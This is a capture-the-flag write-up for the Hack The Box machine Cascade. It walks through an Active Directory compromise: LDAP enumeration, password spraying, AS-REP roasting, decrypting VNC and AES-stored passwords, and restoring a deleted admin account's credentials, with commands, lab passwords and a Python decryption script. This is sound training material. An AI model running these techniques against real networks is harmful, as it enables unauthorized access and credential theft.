# Cascade

Hey, good to be back writing again. I rooted this machine today and really like it. \
So i want to share with you how you can root it.

First, i started scanning the open ports on the machine. \
rustscan -a 10.10.10.182 --ulimit 5000\
I used rustcan and it just gaved me DNS,Kerberos,SMB and ldap, While there were other ports available. Unfortunately that was because --ulimit flag, For this box it wasn't a big deal but just wanted to inform you that to double check your tools and if you can have couple of tools that can do the same purpose that will be great.

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FFlFbGpZCn0pnFWEOSpvg%2Fimage.png?alt=media&#x26;token=c0b6340a-4f26-45ae-a545-a6fafac9b838" alt=""><figcaption></figcaption></figure>

From nmap script scan i got the domain name which was cascade.local, so let's update out hosts file.

```bash
sudo sh -c 'echo "10.10.10.182 cascade.local" >> /etc/hosts'
```

#### SMB

I kinda like to start enumerating smb shares and dig into it. So i tried to make a null authentication but it didn't work out.&#x20;

&#x20;![](https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FWoxvtRr630SLrGqWYw0B%2Fimage.png?alt=media\&token=0d1bc6a1-3166-4812-b39c-aeb85a3e2709)

#### ldap

From ldap we dump users,groups,computres and objects. \
There are many tools to help you dump information from ldap.\
I like to make a list of users maybe would help in brute forcing.\
![](https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2F1IvESlDsufDmWX7JjDXQ%2Fimage.png?alt=media\&token=98634fc8-db49-492d-be6a-e5f0c77ee7a0)

{% code overflow="wrap" %}
```bash
windapsearch.py -d cascade.local --dc-ip 10.10.10.182 -u '' -p '' -U -o /home/legend/machines/cascade
```
{% endcode %}

Snice we use -o , [windapsearch ](https://github.com/ropnop/windapsearch)created .tsv file and we only want to get usernames from it\
![](https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FTqKafLbrbESpn9wD7gUx%2Fimage.png?alt=media\&token=54ffb911-294a-48c9-9db3-cf11ebed2a43)

```bash
cut -f2 20250209-15:28:43-users.tsv | cut -d'@' -f1 | tail -n +2 > users
```

At the time when i was solving this i had a pervious machine that a user had his username as his password so i tried to spray it.\
Before you spray look for the lockout threshold, for this machine there is no any lockouts threshold.

```bash
crackmapexec smb 10.10.10.182 -u '' -p '' --pass-pol
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FZCbaGgyKNe5T1LU55UXM%2Fimage.png?alt=media&#x26;token=e8bd6e96-5ebc-416e-a3a6-e71fe4387bc9" alt=""><figcaption></figcaption></figure>

Will try password spray (username in this contex)\
As everytime there are many tools that can help you brute force and for no reason i want to use crackmapexec. But there is a problem, we can't spray username as password for each user it will continue using other usernames as password

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FAl7mmrjniCjqGaQytVyL%2Fimage.png?alt=media&#x26;token=31b7cfd0-d1e9-4637-93fe-ce479814124f" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```bash
for user in $(cat users); do crackmapexec smb 10.10.10.182 -u "$user" -p "$user"; done
```
{% endcode %}

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FINibb1iG8GxxO5bLeNWV%2Fimage.png?alt=media&#x26;token=9b751ee7-f5f0-4d7c-87c2-bc5aea41a5e7" alt=""><figcaption></figcaption></figure>

Tried also a dictionary attack but yeah it didn't work either. ([SecLists](https://github.com/danielmiessler/SecLists))

{% code overflow="wrap" %}
```bash
crackmapexec smb 10.10.10.182 -u users -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
```
{% endcode %}

Okay this wasn't the way for initial foothold in this machine but good to test everything.\
Since we still don't have any credntials we can try AS-REP Roasting but still a dead end.

```bash
GetNPUsers.py cascade.local/ -no-pass -usersfile users -dc-ip 10.10.10.182
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2Fi5eIMTns65uOY41GqSVt%2Fimage.png?alt=media&#x26;token=6d52f2b2-9a7a-4654-a124-ef642e62bd24" alt=""><figcaption></figcaption></figure>

Maybe there is a hit in any account description. So back to windapsearch

{% code overflow="wrap" %}
```bash
windapsearch.py -d cascade.local --dc-ip 10.10.10.182 -u '' -p '' -U --full > usersfull
```
{% endcode %}

```bash
cat usersfull | grep -i description -n -B 5       
12-objectClass: top
13-objectClass: person
14-objectClass: organizationalPerson
15-objectClass: user
16-cn: CascGuest
17:description: Built-in account for guest access to the computer/domain
```

we only get a description for CascGuest and the rest of the users description field is null.\
so maybe there is a unique field.

okay i used ai for this but man that's makes our life a lot easier

{% code overflow="wrap" %}
```bash
grep -E "$(grep -o '^[^:]*' allusers | sort | uniq -c | awk '$1 == 1 {print $2}' | tr '\n' '|' | sed 's/|$//')" allusers
```
{% endcode %}

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FqY8Q6sxw0ZHgE4GvwWwK%2Fimage.png?alt=media&#x26;token=4c1a39ce-93c5-4220-8fc9-a79a13ee59de" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2Fc2lekaQW8XLx6dSNAV0C%2Fimage.png?alt=media&#x26;token=f6694366-8e9d-4b2c-83f5-e6b3776dc6f7" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FB3cws0nTcoUzo857W865%2Fimage.png?alt=media&#x26;token=63b4126b-1c17-48d3-b4f9-81575d218540" alt=""><figcaption></figcaption></figure></div>

cascadeLegacyPwd? That's interesting pwd is short-form for password and if we tried it for r.thompson it didn't work.\
maybe base64 encoded?

```bash
echo clk0bjVldmE= | base64 -d                                                                                   
rY4n5eva
```

```python
crackmapexec smb 10.10.10.182 -u r.thompson -p rY4n5eva
[+] cascade.local\r.thompson:rY4n5eva
crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva
[-] cascade.local\r.thompson:rY4n5eva
```

```bash
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' -r
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FGclGjjERIuAR6l03aOD2%2Fimage.png?alt=media&#x26;token=11ed05c8-2b45-4fa0-9643-67216d3304f7" alt=""><figcaption></figcaption></figure>

Data share is interesting let's dig into it, we got 4 files\
\* Meeting\_Notes\_June\_2018.html\
\* ArkAdRecycleBin.log\
\* dcdiag.log\
\* VNC Install.reg

```bash
smbclient //10.10.10.182/Data -U r.thompson 'rY4n5eva'
prompt off
recurse on
mget *
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FysAhhHfxaaLIPoD4ZDgE%2Fimage.png?alt=media&#x26;token=f10b6073-7442-4131-b8f4-8afed1646500" alt=""><figcaption></figcaption></figure>

```bash
firefox Meeting_Notes_June_2018.html&
```

Well they gave a hint for a user (TempAdmin) and that't wasn't in our users list

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2F1E5tJJyD48ZR9Pmy9afo%2Fimage.png?alt=media&#x26;token=d79dd6c6-ff1c-455f-8a82-bb999864a0c5" alt=""><figcaption></figcaption></figure>

**ArkAdRecycleBin.log**\
We can see that ArkSvc can delete objects and he deleted Test and TempAdmin

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FpJae9Cj5lUzvJO2RfUOa%2Fimage.png?alt=media&#x26;token=f08a376e-413f-4da8-8bd4-37ac3efd15f1" alt=""><figcaption></figcaption></figure>

**dcdiag.log**\
**\*** The KDC cannot find a suitable certificate for smart card logons.\
\* The DFS Namespace service couldn’t initialize cross-forest trust information.\
\* \_ldap.\_tcp.Default-First-Site-Name.\_sites.dc.\_msdcs.cascade.local could not be resolved.\
\* The PDC Emulator has no external time source.

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FFTnTHBwtgE4aGPVYu5zc%2Fimage.png?alt=media&#x26;token=34a797a3-ed8b-4780-b28a-64427982c0dc" alt=""><figcaption></figcaption></figure>

**VNC Install.reg**\
![](https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FlAooQ3TteowNI4EDpNAY%2Fimage.png?alt=media\&token=43194e5a-969e-4a8b-9946-62d679f9100a)\
\
At the first momment i thought hex from password represents colors or something but that wasn't the right path. After searching about vnc we got github repo that tech us how to decrypt the password\
and we got a potential password for s.smith.

{% code overflow="wrap" %}
```bash
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default
```
{% endcode %}

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FNfMT7LZTcPi0i0vucEwp%2Fimage.png?alt=media&#x26;token=f139bdde-8ea4-41f3-b64f-5a0dda0b5394" alt=""><figcaption></figcaption></figure>

```bash
crackmapexec smb 10.10.10.182 -u s.smith -p sT333ve2 --shares
[+] cascade.local\s.smith:sT333ve2
Share           Permissions
-----           -----------
Audit$          READ
```

```bash
crackmapexec winrm 10.10.10.182 -u s.smith -p sT333ve2
[+] cascade.local\s.smith:sT333ve2 (Pwn3d!)
```

```bash
smbclient //10.10.10.182/Audit$ -U s.smith 'sT333ve2'
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2F1JJhAVIV8E831m9Y5m6c%2Fimage.png?alt=media&#x26;token=2c943916-258d-45b2-a09d-44ef4ad0c2e4" alt=""><figcaption></figcaption></figure>

```bash
file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
file Audit.db     
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
```

```bash
sqlite3 Audit.db                                     
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit  Ldap              Misc            
sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
sqlite> select * from Ldap ;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> select * from Misc ;
sqlite> # nothing from misc #
```

{% embed url="https://github.com/dnSpy/dnSpy" %}

Lets's dig into CascAudit.exe, In the MainModule appears to be extracting credentials from an SQLite database and decrypting a stored password using a hardcoded key (c4scadek3y654321).

{% code lineNumbers="true" %}
```csharp
public static void Main()
	{
		if (MyProject.Application.CommandLineArgs.Count != 1)
		{
			Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
			return;
		}
		checked
		{
			using (SQLiteConnection sqliteConnection = new SQLiteConnection("Data Source=" + MyProject.Application.CommandLineArgs[0] + ";Version=3;"))
			{
				string str = string.Empty;
				string password = string.Empty;
				string str2 = string.Empty;
				try
				{
					sqliteConnection.Open();
					using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
					{
						using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
						{
							sqliteDataReader.Read();
							str = Conversions.ToString(sqliteDataReader["Uname"]);
							str2 = Conversions.ToString(sqliteDataReader["Domain"]);
							string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
							try
							{
								password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
							}
							catch (Exception ex)
							{
								Console.WriteLine("Error decrypting password: " + ex.Message);
								return;
							}
						}
					}
					sqliteConnection.Close();
				}
```
{% endcode %}

Now let's run the program and break on sqliteConnection.Close(); . \
the encryptedString is the same as the hash from ldap we saw in ldap table in audit.db\
so now we a clear password for ArkSvc.

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FfHje2wqmjl9bN7Wq6ue9%2Fimage.png?alt=media&#x26;token=e98d6ec5-ef4e-41c3-8fbb-310557460933" alt=""><figcaption></figcaption></figure>

if for some reason we couldn't debug we can dig into Crypto function and we can read it in CascCrypto.dll

```csharp
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace CascCrypto
{
	// Token: 0x02000007 RID: 7
	public class Crypto
	{
		// Token: 0x06000012 RID: 18 RVA: 0x00002290 File Offset: 0x00000690
		public static string EncryptString(string Plaintext, string Key)
		{
			byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);
			Aes aes = Aes.Create();
			aes.BlockSize = 128;
			aes.KeySize = 128;
			aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
			aes.Key = Encoding.UTF8.GetBytes(Key);
			aes.Mode = 1;
			string result;
			using (MemoryStream memoryStream = new MemoryStream())
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(), 1))
				{
					cryptoStream.Write(bytes, 0, bytes.Length);
					cryptoStream.FlushFinalBlock();
				}
				result = Convert.ToBase64String(memoryStream.ToArray());
			}
			return result;
		}
```

By using ai, it will create a python script that can help us to decrypt the hash we have

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# Values from C# encryption
encrypted_text_b64 = "BQO5l5Kj9MdErXx6Q6AGOw=="  # Replace with actual Base64 output from C#
key = b"c4scadek3y654321"  # Must be exactly 16 bytes
iv = b"1tdyjCbY1Ix49842"   # IV must be 16 bytes

# Decode Base64 to get encrypted bytes
encrypted_text = base64.b64decode(encrypted_text_b64)

# Initialize AES cipher in CBC mode
cipher = AES.new(key, AES.MODE_CBC, iv)

# Decrypt and remove padding
try:
    decrypted_bytes = cipher.decrypt(encrypted_text)
    decrypted_password = unpad(decrypted_bytes, AES.block_size).decode('utf-8')
    print("Decrypted Password:", decrypted_password)
except ValueError as e:
    print("Decryption failed:", e)

```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2F30KGF9UKmUh94dHWeYLp%2Fimage.png?alt=media&#x26;token=81bc968e-a17d-40c0-b8f7-fb345342709a" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong>crackmapexec smb 10.10.10.182 -u arksvc -p w3lc0meFr31nd
</strong>[+] cascade.local\arksvc:w3lc0meFr31nd
crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd
[+] cascade.local\arksvc:w3lc0meFr31nd (Pwn3d!)
</code></pre>

Can we look at the deleted objects now with arksvc?

```bash
ldapsearch -x -H ldap://10.10.10.182 -D "cascade.local\arksvc" -w "w3lc0meFr31nd" -b "CN=Deleted Objects,DC=cascade,DC=local" "(objectClass=*)"
ldap_bind: Invalid credentials (49)
        additional info: 80090308: LdapErr: DSID-0C090400, comment: AcceptSecurityContext error, data 52e, v1db1
```

So let's try from the dc maybe it would work there

```bash
evil-winrm -i 10.10.10.182 -u arksvc -p w3lc0meFr31nd
```

we got the Identity from ArkAdRecycleBin.log\
and here we have cascadeLegacyPwd for TempAdmin

```
Get-ADObject -Identity "CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local" -IncludeDeletedObjects -Properties *
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2FhOuQxLCO0og1IvEPahH1%2Fimage.png?alt=media&#x26;token=59963f7a-c7c9-44bb-bc30-430ca46a4465" alt=""><figcaption></figcaption></figure>

```bash
echo YmFDVDNyMWFOMDBkbGVz | base64 -d                                                                                   
baCT3r1aN00dles
```

Remember Meeting\_Notes\_June\_2018.html told us that TempAdmin has the same password as  Administrator?

```bash
crackmapexec smb 10.10.10.182 -u Administrator -p baCT3r1aN00dles
[+] cascade.local\Administrator:baCT3r1aN00dles (Pwn3d!)
```

```
evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles
```

<figure><img src="https://3304257828-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpk4sXsWtwJ8R2ldWXe2O%2Fuploads%2F2F0gd4LfIXBYMtYJz93n%2Fimage.png?alt=media&#x26;token=c7a2717e-e018-4f5c-9353-219a100d3f74" alt=""><figcaption><p><a href="https://www.hackthebox.com/achievement/machine/1423703/235">https://www.hackthebox.com/achievement/machine/1423703/235</a></p></figcaption></figure>
